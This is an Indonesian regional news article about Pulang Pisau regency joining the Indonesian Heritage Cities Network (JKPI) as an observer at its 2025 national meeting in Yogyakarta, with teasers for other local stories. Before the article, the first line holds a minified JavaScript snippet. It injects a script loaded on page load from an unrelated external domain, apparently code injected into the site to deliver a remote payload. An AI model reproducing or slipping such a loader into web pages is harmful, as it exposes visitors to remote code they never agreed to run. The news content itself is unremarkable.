(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PULANG PISAU – Bupati Pulang Pisau, H Ahmad Rifa’i menghadiri Rapat Kerja Nasional (Rakernas) ke-XI Jaringan Kota Pusaka Indonesia (JKPI) 2025 di Kota Yogyakarta, Rabu (6/8/2025).
Rakernas JKPI 2025 menjadi ajang penguatan jejaring antardaerah dalam melestarikan pusaka budaya dan alam sebagai warisan bangsa. Mengusung tema “Resiliensi Kawasan Cagar Budaya (KCB) Guna Mendorong Pemberdayaan Masyarakat Berkelanjutan”.
Bupati Ahmad Rifa’i mengatakan, keikutsertaan Pulang Pisau pada Rakernas JKPI tahun ini merupakan yang pertama, meskipun masih berstatus peninjau.
“Alhamdulillah, Kabupaten Pulang Pisau disebut sebagai salah satu anggota JKPI meski masih berstatus peninjau. Semoga ke depan kami bisa mewakili Kalimantan Tengah sebagai anggota baru JKPI,” ujarnya.
Baca juga: Semarak Hari Kemerdekaan Anak-anak Dusun Terpencil di Balangan
Bergabungnya Kabupaten Pulang Pisau dalam JKPI menjadi langkah strategis untuk melestarikan pusaka budaya, baik berupa benda maupun tak benda.
Kepala Dinas Kebudayaan, Kepemudaan, Olahraga, dan Pariwisata (Disbudporapar) Pulang Pisau, Marhaendra, menjelaskan bahwa daerah ini telah memiliki modal kuat untuk menjadi anggota penuh JKPI.
Saat ini terdapat empat cagar budaya yang telah ditetapkan melalui SK Bupati, yakni Temanggung Surya Jaya Patih, Sahei Tambi Balu, Rumah Buntoi, dan Rumah Tuah Jaga Bahen.
“Secara legalitas dan regulasi kita sudah siap. Bahkan Perda terkait sedang direvisi. Harapannya, ke depan kita bisa segera menjadi anggota penuh JKPI,” ujarnya.
Baca juga: Hari Hutan Indonesia di Mata Anak Muda: Nasib Kalimantan Dihimpit Tambang dan Sawit
Menurut Marhaendra, jika Pulang Pisau resmi menjadi anggota JKPI akan terbuka peluang lebih besar untuk memperoleh dukungan pemerintah pusat, baik dari sisi program, pendanaan, maupun penguatan pelestarian pusaka budaya.
Sementara itu, Wali Kota Yogyakarta, Hasto Wardoyo, menegaskan bahwa JKPI merupakan wadah lintas kabupaten/kota yang nonpolitis, bertujuan merawat pusaka alam dan budaya demi masa depan berkelanjutan. (Kanalkalimantan.com/mcpulangpisau)
Reporter: mcpulangpisau
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.